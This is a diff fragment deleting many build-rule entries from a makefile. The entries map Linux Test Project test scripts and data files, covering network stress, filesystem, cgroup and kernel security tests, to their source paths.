-module_src_files := testcases/kernel/fs/fs_bind/cloneNS/test02
-include $(ltp_build_prebuilt)
-
-module_prebuilt := testcases/bin/ftrace_stress/ftrace_buffer_size_kb.sh
-module_src_files := testcases/kernel/tracing/ftrace_test/ftrace_stress/ftrace_buffer_size_kb.sh
-include $(ltp_build_prebuilt)
-
-module_prebuilt := testcases/bin/cpuset_hotplug_test.sh
-module_src_files := testcases/kernel/controllers/cpuset/cpuset_hotplug_test/cpuset_hotplug_test.sh
-include $(ltp_build_prebuilt)
-
-module_prebuilt := testcases/bin/fs_bind/rbind/test38
-module_src_files := testcases/kernel/fs/fs_bind/rbind/test38
-include $(ltp_build_prebuilt)
-
-module_prebuilt := testcases/bin/if-route-adddel
-module_src_files := testcases/network/stress/interface/if-route-adddel
-include $(ltp_build_prebuilt)
-
-module_prebuilt := testcases/data/unzip01/dir.out
-module_src_files := testcases/commands/unzip/datafiles/dir.out
-include $(ltp_build_prebuilt)
-
-module_prebuilt := testcases/bin/fs_bind/bin/setupnslock
-module_src_files := testcases/kernel/fs/fs_bind/bin/setupnslock
-include $(ltp_build_prebuilt)
-
-module_prebuilt := testcases/bin/tcp4-uni-sackoff04
-module_src_files := testcases/network/stress/tcp/uni-sackoff/tcp4-uni-sackoff04
-include $(ltp_build_prebuilt)
-
-module_prebuilt := testcases/bin/tcp4-uni-sackoff05
-module_src_files := testcases/network/stress/tcp/uni-sackoff/tcp4-uni-sackoff05
-include $(ltp_build_prebuilt)
-
-module_prebuilt := testcases/bin/tcp4-uni-sackoff06
-module_src_files := testcases/network/stress/tcp/uni-sackoff/tcp4-uni-sackoff06
-include $(ltp_build_prebuilt)
-
-module_prebuilt := testcases/bin/tcp4-uni-sackoff07
-module_src_files := testcases/network/stress/tcp/uni-sackoff/tcp4-uni-sackoff07
-include $(ltp_build_prebuilt)
-
-module_prebuilt := testcases/bin/tcp4-uni-sackoff01
-module_src_files := testcases/network/stress/tcp/uni-sackoff/tcp4-uni-sackoff01
-include $(ltp_build_prebuilt)
-
-module_prebuilt := testcases/bin/tcp4-uni-sackoff02
-module_src_files := testcases/network/stress/tcp/uni-sackoff/tcp4-uni-sackoff02
-include $(ltp_build_prebuilt)
-
-module_prebuilt := testcases/bin/tcp4-uni-sackoff03
-module_src_files := testcases/network/stress/tcp/uni-sackoff/tcp4-uni-sackoff03
-include $(ltp_build_prebuilt)
-
-module_prebuilt := testcases/bin/mcast-lib.sh
-module_src_files := testcases/network/stress/multicast/grp-operation/mcast-lib.sh
-include $(ltp_build_prebuilt)
-
-module_prebuilt := testcases/bin/tcp4-uni-sackoff08
-module_src_files := testcases/network/stress/tcp/uni-sackoff/tcp4-uni-sackoff08
-include $(ltp_build_prebuilt)
-
-module_prebuilt := testcases/bin/tcp4-uni-sackoff09
-module_src_files := testcases/network/stress/tcp/uni-sackoff/tcp4-uni-sackoff09
-include $(ltp_build_prebuilt)
-
-module_prebuilt := testcases/bin/fs_bind/bin/lockfile
-module_src_files := testcases/kernel/fs/fs_bind/bin/lockfile
-include $(ltp_build_prebuilt)
-
-module_prebuilt := testcases/bin/fs_di
-module_src_files := testcases/kernel/fs/fs_di/fs_di
-include $(ltp_build_prebuilt)
-
-module_prebuilt := testcases/bin/initialize_if
-module_src_files := testcases/network/stress/ns-tools/initialize_if
-include $(ltp_build_prebuilt)
-
-module_prebuilt := testcases/bin/force_erase.sh
-module_src_files := testcases/kernel/security/mmc_security/force_erase.sh
-include $(ltp_build_prebuilt)
-
-module_prebuilt := testcases/data/ld01/rd1.c
-module_src_files := testcases/commands/ld/datafiles/rd1.c
-include $(ltp_build_prebuilt)
-
-module_prebuilt := testcases/bin/tcp6-uni-smallsend14
-module_src_files := testcases/network/stress/tcp/uni-smallsend/tcp6-uni-smallsend14
-include $(ltp_build_prebuilt)
-
-module_prebuilt := testcases/bin/tcp6-uni-smallsend11
-module_src_files := testcases/network/stress/tcp/uni-smallsend/tcp6-uni-smallsend11
-include $(ltp_build_prebuilt)
-
-module_prebuilt := testcases/bin/tcp6-uni-smallsend10
-module_src_files := testcases/network/stress/tcp/uni-smallsend/tcp6-uni-smallsend10
-include $(ltp_build_prebuilt)
-
-module_prebuilt := testcases/bin/tcp6-uni-smallsend13
-module_src_files := testcases/network/stress/tcp/uni-smallsend/tcp6-uni-smallsend13
-include $(ltp_build_prebuilt)
-
-module_prebuilt := testcases/bin/tcp6-uni-smallsend12
-module_src_files := testcases/network/stress/tcp/uni-smallsend/tcp6-uni-smallsend12
-include $(ltp_build_prebuilt)
-
-module_prebuilt := testcases/bin/memcg_stat_rss.sh
-module_src_files := testcases/kernel/controllers/memcg/functional/memcg_stat_rss.sh
-include $(ltp_build_prebuilt)
-
-module_prebuilt := testcases/bin/ext4_persist_prealloc_test.sh
-module_src_files := testcases/kernel/fs/ext4-new-features/ext4-persist-prealloc/ext4_persist_prealloc_test.sh
-include $(ltp_build_prebuilt)
-
-module_prebuilt := testcases/bin/smack_set_direct.sh
-module_src_files := testcases/kernel/security/smack/smack_set_direct.sh
-include $(ltp_build_prebuilt)
-
-module_prebuilt := testcases/bin/runpwtests01.sh
-module_src_files := testcases/kernel/power_management/runpwtests01.sh
-include $(ltp_build_prebuilt)
-
-module_prebuilt := testcases/bin/host01
-module_src_files := testcases/network/tcp_cmds/host/host01
-include $(ltp_build_prebuilt)
-
-module_prebuilt := testcases/bin/move_pages.sh
-module_src_files := testcases/kernel/syscalls/move_pages/move_pages.sh
-include $(ltp_build_prebuilt)
-
-module_prebuilt := testcases/bin/ftrace_lib.sh
-module_src_files := testcases/kernel/tracing/ftrace_test/ftrace_lib.sh
-include $(ltp_build_prebuilt)
-
-module_prebuilt := testcases/bin/udp4-multi-diffip03
-module_src_files := testcases/network/stress/udp/multi-diffip/udp4-multi-diffip03
-include $(ltp_build_prebuilt)
-
-module_prebuilt := testcases/bin/udp4-multi-diffip02
-module_src_files := testcases/network/stress/udp/multi-diffip/udp4-multi-diffip02
-include $(ltp_build_prebuilt)
-
-module_prebuilt := testcases/bin/udp4-multi-diffip01
-module_src_files := testcases/network/stress/udp/multi-diffip/udp4-multi-diffip01
-include $(ltp_build_prebuilt)
-
-module_prebuilt := testcases/bin/udp4-multi-diffip07
-module_src_files := testcases/network/stress/udp/multi-diffip/udp4-multi-diffip07
-include $(ltp_build_prebuilt)
-
-module_prebuilt := testcases/bin/udp4-multi-diffip06
-module_src_files := testcases/network/stress/udp/multi-diffip/udp4-multi-diffip06
-include $(ltp_build_prebuilt)
-
-module_prebuilt := testcases/bin/udp4-multi-diffip05
-module_src_files := testcases/network/stress/udp/multi-diffip/udp4-multi-diffip05
-include $(ltp_build_prebuilt)
-
-module_prebuilt := testcases/bin/udp4-multi-diffip04
-module_src_files := testcases/network/stress/udp/multi-diffip/udp4-multi-diffip04
-include $(ltp_build_prebuilt)
-
-module_prebuilt := testcases/bin/route6-redirect
-module_src_files := testcases/network/stress/route/route6-redirect
-include $(ltp_build_prebuilt)
-
-module_prebuilt := testcases/bin/memcg_max_usage_in_bytes_test.sh
-module_src_files := testcases/kernel/controllers/memcg/functional/memcg_max_usage_in_bytes_test.sh
-include $(ltp_build_prebuilt)
-
-module_prebuilt := testcases/bin/runpwtests_exclusive02.sh
-module_src_files := testcases/kernel/power_management/runpwtests_exclusive02.sh
-include $(ltp_build_prebuilt)
-
-module_prebuilt := testcases/bin/tcp4-uni-pktlossdup14
-module_src_files := testcases/network/stress/tcp/uni-pktlossdup/tcp4-uni-pktlossdup14
-include $(ltp_build_prebuilt)
-
-module_prebuilt := testcases/bin/cpuset_sched_domains_test.sh
-module_src_files := testcases/kernel/controllers/cpuset/cpuset_load_balance_test/cpuset_sched_domains_test.sh
-include $(ltp_build_prebuilt)
-
-module_prebuilt := testcases/bin/tcp4-uni-pktlossdup10
-module_src_files := testcases/network/stress/tcp/uni-pktlossdup/tcp4-uni-pktlossdup10
-include $(ltp_build_prebuilt)
-
-module_prebuilt := testcases/bin/tcp4-uni-pktlossdup12
-module_src_files := testcases/network/stress/tcp/uni-pktlossdup/tcp4-uni-pktlossdup12
-include $(ltp_build_prebuilt)
-
-module_prebuilt := testcases/bin/tcp4-uni-pktlossdup13
-module_src_files := testcases/network/stress/tcp/uni-pktlossdup/tcp4-uni-pktlossdup13
-include $(ltp_build_prebuilt)
-
-module_prebuilt := testcases/bin/nfs02
-module_src_files := testcases/network/nfs/nfs_stress/nfs02
-include $(ltp_build_prebuilt)
-
-module_prebuilt := testcases/bin/macvlan01.sh
-module_src_files := testcases/network/virt/macvlan01.sh
-include $(ltp_build_prebuilt)
-
-module_prebuilt := testcases/bin/udp6-uni-basic07
-module_src_files := testcases/network/stress/udp/uni-basic/udp6-uni-basic07
-include $(ltp_build_prebuilt)
-
-module_prebuilt := testcases/bin/udp6-uni-basic06
-module_src_files := testcases/network/stress/udp/uni-basic/udp6-uni-basic06
-include $(ltp_build_prebuilt)
-
-module_prebuilt := testcases/bin/udp6-uni-basic05
-module_src_files := testcases/network/stress/udp/uni-basic/udp6-uni-basic05
-include $(ltp_build_prebuilt)
-
-module_prebuilt := testcases/bin/udp6-uni-basic04
-module_src_files := testcases/network/stress/udp/uni-basic/udp6-uni-basic04
-include $(ltp_build_prebuilt)
-
-module_prebuilt := testcases/bin/udp6-uni-basic03
-module_src_files := testcases/network/stress/udp/uni-basic/udp6-uni-basic03
-include $(ltp_build_prebuilt)
-
-module_prebuilt := testcases/bin/udp6-uni-basic02
-module_src_files := testcases/network/stress/udp/uni-basic/udp6-uni-basic02
-include $(ltp_build_prebuilt)
-
-module_prebuilt := testcases/bin/dns-stress
-module_src_files := testcases/network/stress/dns/dns-stress
-include $(ltp_build_prebuilt)
-
-module_prebuilt := testcases/bin/fs_racer_file_create.sh
-module_src_files := testcases/kernel/fs/racer/fs_racer_file_create.sh
-include $(ltp_build_prebuilt)
-
-module_prebuilt := testcases/data/file01/in.ar
-module_src_files := testcases/commands/file/datafiles/in.ar
-include $(ltp_build_prebuilt)
-
-module_prebuilt := testcases/bin/killall_udp_traffic
-module_src_files := testcases/network/stress/ns-tools/killall_udp_traffic
-include $(ltp_build_prebuilt)
-
-module_prebuilt := testcases/bin/tst_ansi_color.sh
-module_src_files := testcases/lib/tst_ansi_color.sh
-include $(ltp_build_prebuilt)
-
-module_prebuilt := testcases/bin/smack_set_cipso.sh
-module_src_files := testcases/kernel/security/smack/smack_set_cipso.sh
-include $(ltp_build_prebuilt)
-
-module_prebuilt := testcases/bin/netstat01
-module_src_files := testcases/network/tcp_cmds/netstat/netstat01
-include $(ltp_build_prebuilt)
-
-module_prebuilt := testcases/bin/test_3_2.sh
-module_src_files := testcases/kernel/controllers/cgroup/test_3_2.sh
-include $(ltp_build_prebuilt)
-
-module_prebuilt := testcases/bin/route6-ifdown
-module_src_files := testcases/network/stress/route/route6-ifdown
-include $(ltp_build_prebuilt)
-
-module_prebuilt := testcases/bin/tcp4-uni-tso10
-module_src_files := testcases/network/stress/tcp/uni-tso/tcp4-uni-tso10
-include $(ltp_build_prebuilt)
-
-module_prebuilt := testcases/bin/tcp4-uni-tso11
-module_src_files := testcases/network/stress/tcp/uni-tso/tcp4-uni-tso11
-include $(ltp_build_prebuilt)
-
-module_prebuilt := testcases/bin/tcp4-uni-tso12
-module_src_files := testcases/network/stress/tcp/uni-tso/tcp4-uni-tso12
-include $(ltp_build_prebuilt)
-
-module_prebuilt := testcases/bin/tcp4-uni-tso13
-module_src_files := testcases/network/stress/tcp/uni-tso/tcp4-uni-tso13
-include $(ltp_build_prebuilt)
-
-module_prebuilt := testcases/bin/tcp4-uni-tso14
-module_src_files := testcases/network/stress/tcp/uni-tso/tcp4-uni-tso14
-include $(ltp_build_prebuilt)
-
-module_prebuilt := testcases/bin/broken_ip4-protcol
-module_src_files := testcases/network/stress/broken_ip/broken_ip4-protcol
-include $(ltp_build_prebuilt)
-
-module_prebuilt := testcases/bin/test_10_2.sh
-module_src_files := testcases/kernel/controllers/cgroup/test_10_2.sh
-include $(ltp_build_prebuilt)
-
-module_prebuilt := testcases/bin/linktest.sh
-module_src_files := testcases/kernel/fs/linktest/linktest.sh
-include $(ltp_build_prebuilt)
-
-module_prebuilt := testcases/bin/nfs_lib.sh
-module_src_files := testcases/network/nfs/nfs_stress/nfs_lib.sh
-include $(ltp_build_prebuilt)
-
-module_prebuilt := testcases/bin/fs_racer_file_list.sh
-module_src_files := testcases/kernel/fs/racer/fs_racer_file_list.sh
-include $(ltp_build_prebuilt)
-
-module_prebuilt := testcases/data/ld01/rf1.c
-module_src_files := testcases/commands/ld/datafiles/rf1.c
-include $(ltp_build_prebuilt)
-
-module_prebuilt := testcases/bin/udp_ipsec.sh
-module_src_files := testcases/network/stress/udp/udp_ipsec.sh
-include $(ltp_build_prebuilt)
-
-module_prebuilt := testcases/bin/tcp4-multi-sameport04
-module_src_files := testcases/network/stress/tcp/multi-sameport/tcp4-multi-sameport04
-include $(ltp_build_prebuilt)
-
-module_prebuilt := testcases/bin/tcp4-multi-sameport05
-module_src_files := testcases/network/stress/tcp/multi-sameport/tcp4-multi-sameport05
-include $(ltp_build_prebuilt)
-
-module_prebuilt := testcases/bin/tcp4-multi-sameport06
-module_src_files := testcases/network/stress/tcp/multi-sameport/tcp4-multi-sameport06
-include $(ltp_build_prebuilt)
-
-module_prebuilt := testcases/bin/tcp4-multi-sameport07
-module_src_files := testcases/network/stress/tcp/multi-sameport/tcp4-multi-sameport07
-include $(ltp_build_prebuilt)
-
-module_prebuilt := testcases/bin/tcp4-multi-sameport01
-module_src_files := testcases/network/stress/tcp/multi-sameport/tcp4-multi-sameport01
-include $(ltp_build_prebuilt)
-
-module_prebuilt := testcases/bin/tcp4-multi-sameport02
-module_src_files := testcases/network/stress/tcp/multi-sameport/tcp4-multi-sameport02
-include $(ltp_build_prebuilt)
-
-module_prebuilt := testcases/bin/tcp4-multi-sameport03
-module_src_files := testcases/network/stress/tcp/multi-sameport/tcp4-multi-sameport03
-include $(ltp_build_prebuilt)
-
-module_prebuilt := testcases/bin/pm_include.sh
-module_src_files := testcases/kernel/power_management/pm_include.sh
-include $(ltp_build_prebuilt)
-
-module_prebuilt := testcases/bin/tcp4-multi-sameport08
-module_src_files := testcases/network/stress/tcp/multi-sameport/tcp4-multi-sameport08
-include $(ltp_build_prebuilt)
-
-module_prebuilt := testcases/bin/tcp4-multi-sameport09
-module_src_files := testcases/network/stress/tcp/multi-sameport/tcp4-multi-sameport09
-include $(ltp_build_prebuilt)
-
-module_prebuilt := testcases/bin/icmp4-multi-diffnic05
-module_src_files := testcases/network/stress/icmp/multi-diffnic/icmp4-multi-diffnic05
-include $(ltp_build_prebuilt)
-
-module_prebuilt := testcases/bin/ext4_get_inode_version.sh
-module_src_files := testcases/kernel/fs/ext4-new-features/ext4-inode-version/ext4_get_inode_version.sh
-include $(ltp_build_prebuilt)
-
-module_prebuilt := testcases/bin/test_6_1.sh
-module_src_files := testcases/kernel/controllers/cgroup/test_6_1.sh
-include $(ltp_build_prebuilt)
-
-module_prebuilt := testcases/bin/smt_smp_enabled.sh
-module_src_files := testcases/kernel/sched/hyperthreading/ht_enabled/smt_smp_enabled.sh
-include $(ltp_build_prebuilt)
-
-module_prebuilt := testcases/bin/vfork_freeze.sh
-module_src_files := testcases/kernel/controllers/freezer/vfork_freeze.sh
-include $(ltp_build_prebuilt)
-
-module_prebuilt := testcases/bin/fs_inod
-module_src_files := testcases/kernel/fs/fs_inod/fs_inod
-include $(ltp_build_prebuilt)
-
-module_prebuilt := testcases/bin/fs_bind/move/test20
-module_src_files := testcases/kernel/fs/fs_bind/move/test20
-include $(ltp_build_prebuilt)
-
-module_prebuilt := testcases/bin/tcp6-uni-pktlossdup01
-module_src_files := testcases/network/stress/tcp/uni-pktlossdup/tcp6-uni-pktlossdup01
-include $(ltp_build_prebuilt)
-
-module_prebuilt := testcases/bin/fs_bind/rbind/test12
-module_src_files := testcases/kernel/fs/fs_bind/rbind/test12
-include $(ltp_build_prebuilt)
-
-module_prebuilt := testcases/bin/tcp6-uni-pktlossdup03
-module_src_files := testcases/network/stress/tcp/uni-pktlossdup/tcp6-uni-pktlossdup03
-include $(ltp_build_prebuilt)
-
-module_prebuilt := testcases/bin/tcp6-uni-pktlossdup02
-module_src_files := testcases/network/stress/tcp/uni-pktlossdup/tcp6-uni-pktlossdup02
-include $(ltp_build_prebuilt)
-
-module_prebuilt := testcases/bin/tcp6-uni-pktlossdup05
-module_src_files := testcases/network/stress/tcp/uni-pktlossdup/tcp6-uni-pktlossdup05
-include $(ltp_build_prebuilt)
-
-module_prebuilt := testcases/bin/tcp6-uni-pktlossdup04
-module_src_files := testcases/network/stress/tcp/uni-pktlossdup/tcp6-uni-pktlossdup04
-include $(ltp_build_prebuilt)
-
-module_prebuilt := testcases/bin/tcp6-uni-pktlossdup07
-module_src_files := testcases/network/stress/tcp/uni-pktlossdup/tcp6-uni-pktlossdup07
-include $(ltp_build_prebuilt)
-
-module_prebuilt := testcases/bin/tcp6-uni-pktlossdup06
-module_src_files := testcases/network/stress/tcp/uni-pktlossdup/tcp6-uni-pktlossdup06
-include $(ltp_build_prebuilt)
-
-module_prebuilt := testcases/bin/tcp6-uni-pktlossdup09
-module_src_files := testcases/network/stress/tcp/uni-pktlossdup/tcp6-uni-pktlossdup09
-include $(ltp_build_prebuilt)
-
-module_prebuilt := testcases/bin/tcp6-uni-pktlossdup08
-module_src_files := testcases/network/stress/tcp/uni-pktlossdup/tcp6-uni-pktlossdup08
-include $(ltp_build_prebuilt)
-
-module_prebuilt := testcases/bin/fs_bind/rbind/test19
-module_src_files := testcases/kernel/fs/fs_bind/rbind/test19
-include $(ltp_build_prebuilt)
-
-module_prebuilt := testcases/bin/fs_bind/rbind/test18
-module_src_files := testcases/kernel/fs/fs_bind/rbind/test18
-include $(ltp_build_prebuilt)
-
-module_prebuilt := testcases/bin/tcp4-uni-pktlossdup11
-module_src_files := testcases/network/stress/tcp/uni-pktlossdup/tcp4-uni-pktlossdup11
-include $(ltp_build_prebuilt)
-
-module_prebuilt := testcases/bin/broken_ip4-version
-module_src_files := testcases/network/stress/broken_ip/broken_ip4-version
-include $(ltp_build_prebuilt)
-
-module_prebuilt := testcases/bin/cpuhotplug_report_proc_interrupts
-module_src_files := testcases/kernel/hotplug/cpu_hotplug/tools/cpuhotplug_report_proc_interrupts
-include $(ltp_build_prebuilt)
-
-module_prebuilt := testcases/bin/traceroute01.sh
-module_src_files := testcases/network/traceroute/traceroute01.sh
-include $(ltp_build_prebuilt)
-
-module_prebuilt := testcases/bin/run_io_throttle_test.sh
-module_src_files := testcases/kernel/controllers/io-throttle/run_io_throttle_test.sh
-include $(ltp_build_prebuilt)
-
-module_prebuilt := testcases/bin/ext4-alloc-test.sh
-module_src_files := testcases/kernel/fs/ext4-new-features/ext4-delalloc-mballoc/ext4-alloc-test.sh
-include $(ltp_build_prebuilt)
-
-module_prebuilt := testcases/data/file01/in.c
-module_src_files := testcases/commands/file/datafiles/in.c
-include $(ltp_build_prebuilt)
-
-module_prebuilt := testcases/bin/tcp6-multi-diffip09
-module_src_files := testcases/network/stress/tcp/multi-diffip/tcp6-multi-diffip09
-include $(ltp_build_prebuilt)
-
-module_prebuilt := testcases/bin/tcp6-multi-diffip08
-module_src_files := testcases/network/stress/tcp/multi-diffip/tcp6-multi-diffip08
-include $(ltp_build_prebuilt)
-
-module_prebuilt := testcases/bin/fs-bench-test.sh
-module_src_files := testcases/kernel/fs/fs-bench/fs-bench-test.sh
-include $(ltp_build_prebuilt)
-
-module_prebuilt := testcases/bin/stop_freeze_thaw_cont.sh
-module_src_files := testcases/kernel/controllers/freezer/stop_freeze_thaw_cont.sh
-include $(ltp_build_prebuilt)
-
-module_prebuilt := testcases/bin/tcp6-multi-diffip01
-module_src_files := testcases/network/stress/tcp/multi-diffip/tcp6-multi-diffip01
-include $(ltp_build_prebuilt)
-
-module_prebuilt := testcases/bin/sendfile01
-module_src_files := testcases/network/tcp_cmds/sendfile/sendfile01
-include $(ltp_build_prebuilt)
-
-module_prebuilt := testcases/bin/tcp6-multi-diffip03
-module_src_files := testcases/network/stress/tcp/multi-diffip/tcp6-multi-diffip03
-include $(ltp_build_prebuilt)
-
-module_prebuilt := testcases/bin/tcp6-multi-diffip02
-module_src_files := testcases/network/stress/tcp/multi-diffip/tcp6-multi-diffip02
-include $(ltp_build_prebuilt)
-
-module_prebuilt := testcases/bin/tcp6-multi-diffip05
-module_src_files := testcases/network/stress/tcp/multi-diffip/tcp6-multi-diffip05
-include $(ltp_build_prebuilt)
-
-module_prebuilt := testcases/bin/tcp6-multi-diffip04
-module_src_files := testcases/network/stress/tcp/multi-diffip/tcp6-multi-diffip04
-include $(ltp_build_prebuilt)
-
-module_prebuilt := testcases/bin/tcp6-multi-diffip07
-module_src_files := testcases/network/stress/tcp/multi-diffip/tcp6-multi-diffip07
-include $(ltp_build_prebuilt)
-
-module_prebuilt := testcases/bin/tcp6-multi-diffip06
-module_src_files := testcases/network/stress/tcp/multi-diffip/tcp6-multi-diffip06
-include $(ltp_build_prebuilt)
-
-module_prebuilt := testcases/bin/vlan01.sh
-module_src_files := testcases/network/virt/vlan01.sh
-include $(ltp_build_prebuilt)
-
-module_prebuilt := testcases/bin/broken_ip4-fragment
-module_src_files := testcases/network/stress/broken_ip/broken_ip4-fragment
-include $(ltp_build_prebuilt)
-
-module_prebuilt := testcases/bin/cpuset_funcs.sh
-module_src_files := testcases/kernel/controllers/cpuset/cpuset_funcs.sh
-include $(ltp_build_prebuilt)
-
-module_prebuilt := testcases/bin/memcg_move_charge_at_immigrate_test.sh
-module_src_files := testcases/kernel/controllers/memcg/functional/memcg_move_charge_at_immigrate_test.sh
-include $(ltp_build_prebuilt)
-
-module_prebuilt := testcases/bin/cpuhotplug01.sh
-module_src_files := testcases/kernel/hotplug/cpu_hotplug/functional/cpuhotplug01.sh
-include $(ltp_build_prebuilt)
-
-module_prebuilt := testcases/data/ima_policy/measure.policy-invalid
-module_src_files := testcases/kernel/security/integrity/ima/policy/measure.policy-invalid
-include $(ltp_build_prebuilt)
-
-module_prebuilt := testcases/bin/broken_ip6-dstaddr
-module_src_files := testcases/network/stress/broken_ip/broken_ip6-dstaddr
-include $(ltp_build_prebuilt)
-
-module_prebuilt := testcases/bin/icmp4-multi-diffip02
-module_src_files := testcases/network/stress/icmp/multi-diffip/icmp4-multi-diffip02
-include $(ltp_build_prebuilt)
-
-module_prebuilt := testcases/bin/sched_stress.sh
-module_src_files := testcases/kernel/sched/sched_stress/sched_stress.sh
-include $(ltp_build_prebuilt)
-
-module_prebuilt := testcases/bin/memcg_lib.sh
-module_src_files := testcases/kernel/controllers/memcg/functional/memcg_lib.sh
-include $(ltp_build_prebuilt)
-
-module_prebuilt := testcases/bin/fs_bind/move/test09
-module_src_files := testcases/kernel/fs/fs_bind/move/test09
-include $(ltp_build_prebuilt)
-
-module_prebuilt := testcases/bin/icmp4-multi-diffip03
-module_src_files := testcases/network/stress/icmp/multi-diffip/icmp4-multi-diffip03
-include $(ltp_build_prebuilt)
-
-module_prebuilt := testcases/bin/fs_bind/move/test07
-module_src_files := testcases/kernel/fs/fs_bind/move/test07
-include $(ltp_build_prebuilt)
-
-module_prebuilt := testcases/bin/fs_bind/move/test06
-module_src_files := testcases/kernel/fs/fs_bind/move/test06
-include $(ltp_build_prebuilt)
-
-module_prebuilt := testcases/bin/fs_bind/move/test05
-module_src_files := testcases/kernel/fs/fs_bind/move/test05
-include $(ltp_build_prebuilt)
-
-module_prebuilt := testcases/bin/ipsec_lib.sh
-module_src_files := testcases/network/stress/ipsec/ipsec_lib.sh
-include $(ltp_build_prebuilt)
-
-module_prebuilt := testcases/bin/fs_bind/move/test03
-module_src_files := testcases/kernel/fs/fs_bind/move/test03
-include $(ltp_build_prebuilt)
-
-module_prebuilt := testcases/bin/udp4-uni-basic07
-module_src_files := testcases/network/stress/udp/uni-basic/udp4-uni-basic07
-include $(ltp_build_prebuilt)
-
-module_prebuilt := testcases/bin/fs_bind/move/test01
-module_src_files := testcases/kernel/fs/fs_bind/move/test01
-include $(ltp_build_prebuilt)
-
-module_prebuilt := testcases/data/ld01/main.c
-module_src_files := testcases/commands/ld/datafiles/main.c
-include $(ltp_build_prebuilt)
-
-module_prebuilt := testcases/bin/virt_lib.sh
-module_src_files := testcases/network/virt/virt_lib.sh
-include $(ltp_build_prebuilt)
-
-module_prebuilt := testcases/bin/icmp4-multi-diffip01
-module_src_files := testcases/network/stress/icmp/multi-diffip/icmp4-multi-diffip01
-include $(ltp_build_prebuilt)
-
-module_prebuilt := testcases/data/file01/in.txt
-module_src_files := testcases/commands/file/datafiles/in.txt
-include $(ltp_build_prebuilt)
-
-module_prebuilt := testcases/bin/lock_torture.sh
-module_src_files := testcases/kernel/device-drivers/locking/lock_torture.sh
-include $(ltp_build_prebuilt)
-
-module_prebuilt := testcases/bin/icmp4-multi-diffip06
-module_src_files := testcases/network/stress/icmp/multi-diffip/icmp4-multi-diffip06
-include $(ltp_build_prebuilt)
-
-module_prebuilt := testcases/bin/smack_set_load.sh
-module_src_files := testcases/kernel/security/smack/smack_set_load.sh
-include $(ltp_build_prebuilt)
-
-module_prebuilt := testcases/bin/icmp4-multi-diffip07
-module_src_files := testcases/network/stress/icmp/multi-diffip/icmp4-multi-diffip07
-include $(ltp_build_prebuilt)
-
-module_prebuilt := testcases/bin/udp4-multi-diffnic07
-module_src_files := testcases/network/stress/udp/multi-diffnic/udp4-multi-diffnic07
-include $(ltp_build_prebuilt)
-
-module_prebuilt := testcases/bin/ssh-stress01-rmt
-module_src_files := testcases/network/stress/ssh/ssh-stress01-rmt
-include $(ltp_build_prebuilt)
-
-module_prebuilt := testcases/bin/ftp-upload-stress01-rmt
-module_src_files := testcases/network/stress/ftp/ftp-upload-stress01-rmt
-include $(ltp_build_prebuilt)
-
-module_prebuilt := testcases/bin/icmp4-multi-diffip04
-module_src_files := testcases/network/stress/icmp/multi-diffip/icmp4-multi-diffip04
-include $(ltp_build_prebuilt)
-
-module_prebuilt := testcases/bin/udp4-multi-diffnic06
-module_src_files := testcases/network/stress/udp/multi-diffnic/udp4-multi-diffnic06
-include $(ltp_build_prebuilt)
-
-module_prebuilt := testcases/bin/ssh-stress03-rmt
-module_src_files := testcases/network/stress/ssh/ssh-stress03-rmt
-include $(ltp_build_prebuilt)
-
-module_prebuilt := testcases/bin/fs_bind/rbind/test21
-module_src_files := testcases/kernel/fs/fs_bind/rbind/test21
-include $(ltp_build_prebuilt)
-
-module_prebuilt := testcases/bin/tcp6-uni-sackoff01
-module_src_files := testcases/network/stress/tcp/uni-sackoff/tcp6-uni-sackoff01
-include $(ltp_build_prebuilt)
-
-module_prebuilt := testcases/bin/udp4-multi-diffnic05
-module_src_files := testcases/network/stress/udp/multi-diffnic/udp4-multi-diffnic05
-include $(ltp_build_prebuilt)
-
-module_prebuilt := testcases/bin/killall_icmp_traffic
-module_src_files := testcases/network/stress/ns-tools/killall_icmp_traffic
-include $(ltp_build_prebuilt)
-
-module_prebuilt := testcases/bin/tcp6-uni-tso12
-module_src_files := testcases/network/stress/tcp/uni-tso/tcp6-uni-tso12
-include $(ltp_build_prebuilt)
-
-module_prebuilt := testcases/bin/tcp6-uni-tso13
-module_src_files := testcases/network/stress/tcp/uni-tso/tcp6-uni-tso13
-include $(ltp_build_prebuilt)
-
-module_prebuilt := testcases/bin/tcp6-uni-tso10
-module_src_files := testcases/network/stress/tcp/uni-tso/tcp6-uni-tso10
-include $(ltp_build_prebuilt)
-
-module_prebuilt := testcases/bin/tcp6-uni-tso11
-module_src_files := testcases/network/stress/tcp/uni-tso/tcp6-uni-tso11
-include $(ltp_build_prebuilt)
-
-module_prebuilt := testcases/bin/tcp6-uni-tso14
-module_src_files := testcases/network/stress/tcp/uni-tso/tcp6-uni-tso14
-include $(ltp_build_prebuilt)
-
-module_prebuilt := testcases/bin/udp4-multi-diffnic03
-module_src_files := testcases/network/stress/udp/multi-diffnic/udp4-multi-diffnic03
-include $(ltp_build_prebuilt)
-
-module_prebuilt := testcases/bin/xinetd_tests.sh
-module_src_files := testcases/network/xinetd/xinetd_tests.sh
-include $(ltp_build_prebuilt)
-
-module_prebuilt := testcases/bin/udp4-multi-diffnic02
-module_src_files := testcases/network/stress/udp/multi-diffnic/udp4-multi-diffnic02
-include $(ltp_build_prebuilt)
-
-module_prebuilt := testcases/bin/cgroup_fj_function.sh
-module_src_files := testcases/kernel/controllers/cgroup_fj/cgroup_fj_function.sh
-include $(ltp_build_prebuilt)
-
-module_prebuilt := testcases/bin/udp4-multi-diffnic01
-module_src_files := testcases/network/stress/udp/multi-diffnic/udp4-multi-diffnic01
-include $(ltp_build_prebuilt)
-
-module_prebuilt := testcases/bin/mcast4-queryfld01
-module_src_files := testcases/network/stress/multicast/query-flood/mcast4-queryfld01
-include $(ltp_build_prebuilt)
-
-module_prebuilt := testcases/bin/mcast4-queryfld02
-module_src_files := testcases/network/stress/multicast/query-flood/mcast4-queryfld02
-include $(ltp_build_prebuilt)
-
-module_prebuilt := testcases/bin/tcp6-uni-pktlossdup11
-module_src_files := testcases/network/stress/tcp/uni-pktlossdup/tcp6-uni-pktlossdup11
-include $(ltp_build_prebuilt)
-
-module_prebuilt := testcases/bin/mcast4-queryfld04
-module_src_files := testcases/network/stress/multicast/query-flood/mcast4-queryfld04
-include $(ltp_build_prebuilt)
-
-module_prebuilt := testcases/bin/mcast4-queryfld05
-module_src_files := testcases/network/stress/multicast/query-flood/mcast4-queryfld05
-include $(ltp_build_prebuilt)
-
-module_prebuilt := testcases/bin/mcast4-queryfld06
-module_src_files := testcases/network/stress/multicast/query-flood/mcast4-queryfld06
-include $(ltp_build_prebuilt)
-
